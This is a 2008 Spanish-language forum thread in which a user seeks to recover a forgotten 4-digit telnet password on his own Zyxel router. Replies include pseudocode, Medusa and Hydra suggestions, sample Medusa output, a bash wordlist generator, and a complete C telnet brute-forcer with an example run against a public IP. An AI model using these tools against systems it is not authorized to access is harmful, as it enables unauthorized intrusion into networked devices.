elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 21:03  


Tema destacado: Grupo de Facebook de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado
| | |-+  Hacking Linux/Unix (Moderadores: kamsky, TRICKY, berz3k)
| | | |-+  Fuerza bruta para telnet
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Fuerza bruta para telnet  (Leído 6,023 veces)
zorrua

Desconectado Desconectado

Mensajes: 60


Ver Perfil
Fuerza bruta para telnet
« en: 18 Noviembre 2008, 19:52 »

Hola amigos, hace mucho que no pasaba por aqui, he leido un poco y me alegro que las cosas vayan como siempre de bien.

Estoy con un tema de poder acceder a telnet a un router mio. No lo quiero resetar porque tengo bastante configurado y no lo tengo apuntado.

Solo tengo acceso telnet. Es un Zyxel.

Lo que queria es poder crear una aplicacion (script) para poder hacer fuerza bruta sobre él, ya se que tiene 4 digitos numericos.

Por lo que se, tendria que hacer un for de 0000 a 9999. Pero no se como poner los comandos y luego meterle la contraseña.

Existe otra cosa, que despues de cuatro intentos me du un:

Bad Password!!!
Connection closed by foreign host.

Asique habra que iniciar de nuevo.

Otra cosa, una vez haya encontrado la contraseña, entrara dentro de la configuracion, y en ese momento habra que para el script, porque sino seguira metiendo datos y comandos y no conviene.

Me imagino que en shell se podra hacer.

Utilizo Debian/GNU en la version Etch.

Saludos y gracias a todos.

P.D.: Se que existen ya aplicaciones que hacen eso tipo medusa, pero no logre configurarlo hace tiempo. Ademas me gustaria saber como se implementa algo asi.



En línea
Lewert

Desconectado Desconectado

Mensajes: 231



Ver Perfil
Re: Fuerza bruta para telnet
« Respuesta #1 en: 18 Noviembre 2008, 20:22 »

Pero el router tiene la contraseña que ya viene cuando los compras o la cambiaste y no te acuerdas?


En línea

Crack the bytes, crack yourself
zorrua

Desconectado Desconectado

Mensajes: 60


Ver Perfil
Re: Fuerza bruta para telnet
« Respuesta #2 en: 18 Noviembre 2008, 20:27 »

Esta cambiado, lo unico que se es que son 4 cifras, no lo puse yo, y el que lo puso no se acuerda. Todos tenemos un primo tonto en la familia, xD.
En línea
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.605


Ver Perfil
Re: Fuerza bruta para telnet
« Respuesta #3 en: 19 Noviembre 2008, 01:02 »


 Que tal.

Prueba con la pass: 1234


Suerte.
En línea

"La envidia es una declaración de inferioridad"
Napoleón.
Nirvas

Desconectado Desconectado

Mensajes: 15


Ver Perfil
Re: Fuerza bruta para telnet
« Respuesta #4 en: 19 Noviembre 2008, 01:23 »

Si crees que son solo número decimales lo puedes hacer de dos formas:
1º Puede hacer que la máquina cuente hasta 9999 y que cada vez prueba conectarse con el objetivo.En caso de éxito un "if" situado dentro del "While" o "For" detenga el script y te avisa que ha establecido conexion.Esto es propio si sospechas que el objetivo contiene solo numeros decimales y no sabes la longitud.

2º Puedes anidar cuatro loops,pero esto sería más propio para contraseñas sobre las que se supone que contienen caracteres ademas de numeros.Yo con caracteres ascii y cuatro loops anidados y VBscript tuve a mi maquina cuatro horas pensando(tambien es cierto que VBscript es lentito   :¬¬  )

Los loops,whiles e ifs se encuentran en cualquier lenguaje de programacion o scripting,asi que eligete uno a gusto y yasta.Y si usas linux y bash es mas facil aun,porque solo le pones el comando na'mas.En cambio en VBscript tengo que crear objetos y conocer sus metodos y propiedades.

Jo telnet activado sin restringcion de los intentos-hasta que no lo arregles,no lo conectes a internet.Ahora me vas a decir que tiene tambien el finger activado....
En línea
zorrua

Desconectado Desconectado

Mensajes: 60


Ver Perfil
Re: Fuerza bruta para telnet
« Respuesta #5 en: 19 Noviembre 2008, 01:44 »

Gracias por contestar a los dos.

El password no es 1234. Es numerico de 4 cifras porque me ha dicho mi primo (lo malo es que no se acuerda cual era).

Mas o menos lo tengo claro lo de por donde tiene que ir el script, pero lo que mas necesito como utilizar los comandos (for, echo, exec, telnet, etc). Nunca he programado en shell.

Seguire intentantodo, gracias por todo.
En línea
Nirvas

Desconectado Desconectado

Mensajes: 15


Ver Perfil
Re: Fuerza bruta para telnet
« Respuesta #6 en: 19 Noviembre 2008, 02:40 »

Perdoname,se me olvido concretar que si usas while de forma incremental,vas a tener que anadir con tres "case" a los zeros que tienen que aparecer en los numeros 1 o sea 0001 0 45 o sea 0045 porque quedamos en que la pass tiene cuatro digitos.

Ejemplo de la logica:


aquí declaras la variable var1 que será un vehiculo de datos temporales
aqui otra mas
otra mas
otra mas
for [ "primera variable"= 0 to 9 ] do
       for [ "segunda variable" = 0 to 9 ] do
            for ["tercera variable" = 0 to 9 ] do
                  for ["cuarta variable" = 0 to 9 ] do
                          >telnet x.x.x.x user: "nombre de usuario" password: "primera variable + "segunda variable" + "tercera variable" + "cuarta variable"
                           if "conexion establecida(esto depende del SO)" then
                                     >echo "Bingo!El pass es:" + " primera variable" + "segunda variable"+"tercera variable" + "cuarta variable"
                             >aqui liberas las variables de memoria y terminas el script
                            >comando para cerrar la conexión o sacar la en pantalla
                           end if
                   next for
             next for
        next for
next for
 Aqui tambien liberas las variables de la memoria y terminas el script si llega hasta aquí mejor si le pones un echo "intento fallido" o "la contraseña no es del tipo esperado"


 

Tienes que asegurarte de que el sistema operativo que usas acaba las comandos hasta el final y entonces procede con el siguiente comando.Tambien seria bien hacer le prueba de error en cada paso y en caso de error que haga algo.Pero estos son cosas de cada sistema operativo por separado y yo en linux no sé ni jota ni me intereso.


Tan solo te enseño la extructura que ves que es muy facil.Si alguien te dice que programar es dificil,no le hagas caso.Si sabes usar los loops,los arrays etc,tan solo vas a meter te por media hora en google para ver la sintaxis exacta y vas a programar en cualquier lenguaje de medio nivel pariba.Pero te advierto que puede llegar a ser una adiccion mayor que los juegos de roll.Muchos programadores casi no duermen...


En línea
zorrua

Desconectado Desconectado

Mensajes: 60


Ver Perfil
Re: Fuerza bruta para telnet
« Respuesta #7 en: 19 Noviembre 2008, 22:10 »

Gracias por la ayuda, pero creo que voy a utilizar Medusa, que debe de ser una aplicaion que ya lleva años, y a ver como va.

Gracias por todo y saludos.
En línea
Nirvas

Desconectado Desconectado

Mensajes: 15


Ver Perfil
Re: Fuerza bruta para telnet
« Respuesta #8 en: 20 Noviembre 2008, 04:04 »

Para el mismo tiempo que aprendas los tutos de como usar una aplicacion,podrias aprender un tuto de programar que lo que quieres es sencillo.
Pero es cosa tuya,eres libre.Tan solo te aconsejo,no te obligaría aun si pudiera.

Suerte!
En línea
oPen syLar


Desconectado Desconectado

Mensajes: 687


The Best of You..


Ver Perfil WWW
Re: Fuerza bruta para telnet
« Respuesta #9 en: 22 Noviembre 2008, 07:44 »

thc hydra
En línea

framework C++ http://bit.ly/AB0Qz1
worm C++ http://bit.ly/AdWRtl
POP3 cracker http://bit.ly/x2SZxW
Mail dumper (HTTP) http://bit.ly/xMN6pF
*dudux
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.383


.....traficando con sueños.....


Ver Perfil
Re: Fuerza bruta para telnet
« Respuesta #10 en: 23 Noviembre 2008, 20:14 »

Código:
lenny:/home/dudu/pruebas# medusa -M telnet -h 192.168.10.1 -U usr.txt -P pass.txt  -e s
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [telnet] Host: 192.168.10.1 (1/1) User: g (1/5) Password: g (1/4)
ACCOUNT FOUND: [telnet] Host: 192.168.10.1 User: g Password: g [SUCCESS]
ACCOUNT CHECK: [telnet] Host: 192.168.10.1 (1/1) User: j (2/5) Password: j (1/4)
ACCOUNT FOUND: [telnet] Host: 192.168.10.1 User: j Password: j [SUCCESS]
En línea

Visita ....................    http://217.125.24.22/
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.605


Ver Perfil
Re: Fuerza bruta para telnet
« Respuesta #11 en: 28 Noviembre 2008, 02:38 »

 Que tal.

 Pues siguiendo la opcion obvia de Nirvas, voy a pegar un code que acabo de hacer en puro aburrimiento!
 A ver, dices que tras cuatro intentos de passwords, te pone "Bad password" y se cierra la conexion..

 El codigo que te acabo de hacer es un brute-force lame el cual manda mediante el loop for las diferentes   
 combinaciones de digitos. Dijistes que eran 4 digitos y asi lo he codeado.

 La cosa es que este code es lame por varios motivos siendo el principal mi estado de vagueza. Otro de los motivos
 es que esta pensado solo para esta situacion :__)
 Otros 3 motivos son que:

 - me baso en un string del error que suelta el Servidor al meter las passwords incorrectas. O sea, como 4 argumento
   se le debe de pasar Bad o algun string sujerente ( importan las mayusculas! ) en el error.

 - Solo he puesto que el server acepta hasta 4 intentos de login ( 4 es este caso ); por lo que serviria para un
   Servidor el cual ofreza de 1 a 4 intentos pero como digo en este caso son 4.

 - Por cada intento de autenticacion ( 1 intento == 4 oportunidades ) repito el mismo password.

 Hay otros motivos que se me pasaran, pero estos son los mas destacados. (??)

 Pues eso mismo, para ejecutar mi aplicacion deberias de hacer algo asi:

 # ./telnet-brute 84.56.54.79 23 4 Bad

 Esto es:

 -- 84.56.54.79  --> es la IP destino
 -- 23                --> es el puerto destino
 -- 4                  --> es el numero de intentos que ofrece el servidor destino
 -- Bad             --> es el string escojido desde el mensaje de error

 Pues lo que se inenta en el code es ir probando passwords, y si resulta que en una iteracion no nos suelta
 error ( conteniendo "Bad" ) supongo que hemos dado con la pass y la escribo a un archivo "password.txt".

 Es una PoC(keria) para esta situacion, nada mas. Al haberse dubitado entre un aplicacion u otra, y al estar yo
 aburrido, pues esto es lo que hay.

 Sigo diciendo que por ejemplo, si haces lo siguiente desde el command line ( # <-- es el prompt! ):

 # for ((i=0;i<=9;i++)); do
       for ((x=0;x<=9;x++)); do
           for ((z=0;z<=9;z++)); do
               for ((y=0;y<=9;y++)); do
     
       echo "$i$x$z$y" >> passwds.txt

               done
           done
       done
   done


 y tras ello usas THC Hydra y le pasas como archivo de passwords el recien creado passwds.txt, aun mejor.

 Bueno, pues aqui pego mi lame code:

/*
 *  brute-force PoC   .:: by averno ::. ( is lame! :_) )
 *
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>

#define buflen 512


char buffer[buflen];

int resolve(char *host, int port)
{

   struct sockaddr_in server;
   struct hostent *he;

   int sock;

   if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
     perror("socket()");
     exit(-1);
   }

   if ((server.sin_addr.s_addr = inet_addr(host)) == -1) {
     if ((he = gethostbyname(host)) == NULL) {
       perror("gethost()");
       exit(-1);
     }

   memcpy((char *)&server.sin_addr, (char *)he->h_addr, sizeof(server.sin_addr));
   }

   server.sin_family = AF_INET;
   server.sin_port = htons(port);
 
   if (connect(sock, (struct sockaddr *)&server, sizeof(server)) == -1) {
     perror("connect()");
     exit(-1);
   }

   return(sock);

}

void find_str(char *buff, char *buf, char *argv[])
{

   FILE *dest;

   if (strstr(buff, argv[4]) == NULL) { /* si no encontramos Bad, suponemos
                                           que encontramos la pas... */
     if ((dest = fopen("password.txt", "w")) == NULL) {
       perror("fopen()");
       exit(-1);
     }
     fprintf(dest, ": %s\n", buf);

     fclose(dest);
   }

}

char *write_to(int sock, char *buf)
{

   int readbytes;

   write(sock, buf, strlen(buf));
   sleep(1);

   while ((readbytes = read(sock, buffer, buflen-1)) != -1) {
        buffer[readbytes] = '\0';
        write(1, buffer, readbytes);
        break;
   }

   return(buffer);

}


void iterate(int sock, int iters, char *buf, char *argv[])
{

   FILE *dest;

   int i;
   char *buff;

   switch (iters) {
         
         case 1:
                buff =  write_to(sock, buf);
                find_str(buff, buf, argv);
                break;

         case 2:
                  for (i = 1; i <= 2; i++) {
                  buff =  write_to(sock, buf);
                  }
                  find_str(buff, buf, argv);
                  break;

         case 3:
                  for (i = 1; i <= 3; i++) {
                  buff =  write_to(sock, buf);
                  }
                  find_str(buff, buf, argv);
                  break;

         case 4:
                  for (i = 1; i<= 4; i++) {
                  buff =  write_to(sock, buf);
                  }
                  find_str(buff, buf, argv);
                  break;
                 
         default:
                 fprintf(stderr, "[/] The bee is giggling at you!!\n\n");
                 exit(1);
         }
 
}
   

int main(int argc, char *argv[])
{

   int a, b, c ,d;
   int i;
   char buf[buflen];
   int iters = atoi(argv[3]);

   if (argc != 5) {
     fprintf(stderr, "[/] Uso: %s <host> <port> <number_of_iterations> <string>\n\n", argv[0]);
     fprintf(stderr, "\t[/] For the argument <number_of_iterations> just write down\n\t    the numbers of tries you have when you telnet the server.\n\t    you have till 4 tries in this code.\n\n\t[/] For the <string> just write down a string in the\n"
             "\t    Default message of Error.\n\n\t[~] For example if it gives you a message like \"Bad password\", write\n\t    Bad for <string>.\n\n");
     exit(0);
   }

                /**** such a messy-avernish fprintf()!!!! :_) !! ***/

   setbuf(stdout, 0);
   fflush(stdout);

   printf("[/] Brute-Force begins now ...\n\n");

   for (a = 0; a <= 9; a++) {
      for (b = 0; b <= 9; b++) {
         for (c = 0; c <= 9; c++) {
            for (d = 0; d <= 9; d++) {

      int sock = resolve(argv[1], atoi(argv[2]));
      sleep(1);

      snprintf(buf, sizeof(buf), "password: %i%i%i%i\n", a, b, c, d);
      printf("\n[/] Intentando %s\n", buf);
     
      iterate(sock, iters, buf, argv);

      close(sock);

            }
         }
      }
   }

   return 0;

}

/* EOF */

 Si lo ejecutas sin argumentos veras la salida explicada en Ingles. Al encontrarme en UK y al ser esta mi casi
 segunda lengua, le estoy cogiendo demasiao carinho..

 Bueno, Suerte.

    /**** MODIFIKO ****/

 Ah, si te funciona dime!; si no pues mandalo a /dev/null.. :_)
« Última modificación: 29 Noviembre 2008, 16:36 por averno » En línea

"La envidia es una declaración de inferioridad"
Napoleón.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
existe otro metodo a parte de fuerza bruta para resolver el molto facil?
Desafíos - Wargames
jhonatanAsm 9 1,796 Último mensaje 25 Mayo 2012, 15:55
por CobraMarley
Fuerza bruta para Mac
Hacking Avanzado
periko75 0 332 Último mensaje 8 Marzo 2012, 15:56
por periko75
cual es el mejor sistema para calculo por B.F. (fuerza bruta)??
Hacking Avanzado
roberth780 1 365 Último mensaje 15 Marzo 2012, 16:57
por el-brujo
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines